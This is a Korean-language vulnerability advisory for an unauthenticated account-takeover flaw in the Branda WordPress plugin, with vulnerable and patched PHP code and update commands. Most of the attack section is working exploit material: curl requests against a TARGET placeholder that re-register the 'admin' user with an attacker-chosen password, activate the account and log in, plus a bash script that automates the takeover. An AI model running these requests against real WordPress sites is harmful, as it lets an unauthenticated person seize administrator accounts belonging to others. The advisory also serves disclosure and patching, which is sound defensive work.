
Unauthenticated Privilege Escalation via Account Takeover
WordPress용 Branda 플러그인은 버전 3.4.29를 포함한 모든 버전에서 계정 탈취를 통한 권한 상승에 취약합니다. 이는 플러그인이 비밀번호를 업데이트하기 전에 사용자의 신원을 제대로 검증하지 않기 때문입니다. 이로 인해 인증되지 않은 공격자가 관리자를 포함한 임의 사용자의 비밀번호를 변경하고, 해당 계정에 접근할 수 있습니다.
/inc/modules/login-screen/signup-password.php
취약한 버전의 pre_insert_user_data() 함수는 적절한 검증이 누락되어 있습니다:
// 취약한 버전 (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// 멀티사이트 코드...
}
// 누락: if ($update) return $data; <-- 취약점
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// POST 데이터에서 비밀번호 설정
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// 적절한 검사가 포함된 멀티사이트 코드...
}
// 수정: 기존 사용자 업데이트를 방지하는 검사 추가
if ( $update ) {
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
/wp-signup.php에 접속password_1 매개변수를 통해 사용자 지정 비밀번호 설정/wp-login.php?action=register에 접속curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-signup.php" \
-d "user_name=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "signup_for=blog"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php?action=register" \
-d "user_login=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "wp-submit=Register"
# 이메일에서 활성화 키 추출 후 방문:
curl -s -k -c cookies.txt -b cookies.txt \
"https://TARGET/wp-activate.php?key=ACTIVATION_KEY"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php" \
-d "log=admin" \
-d "pwd=NewP@ssw0rd!" \
-d "wp-submit=Log In" \
-L | grep -i "dashboard\|wp-admin\|error"
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"
echo "[*] $USERNAME 사용자를 $NEW_PASSWORD 비밀번호로 등록 중..."
# 멀티사이트 공격
curl -s -k -c /tmp/cookies.txt \
-X POST "$TARGET/wp-signup.php" \
-d "user_name=$USERNAME" \
-d "[email protected]" \
-d "password_1=$NEW_PASSWORD" \
-d "password_2=$NEW_PASSWORD"
echo "[*] 활성화 링크를 위해 이메일 확인"
echo "[*] 활성화 후 시도: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"
설정 > 일반 > 멤버십: 누구나 등록 가능 확인)Branda 플러그인을 버전 3.4.31 이상으로 업데이트:
# WordPress 관리자를 통해
대시보드 > 플러그인 > Branda > 업데이트
# WP-CLI를 통해
wp plugin update branda-white-labeling
# SSH를 통해
wp plugin update branda-white-labeling --version=3.4.31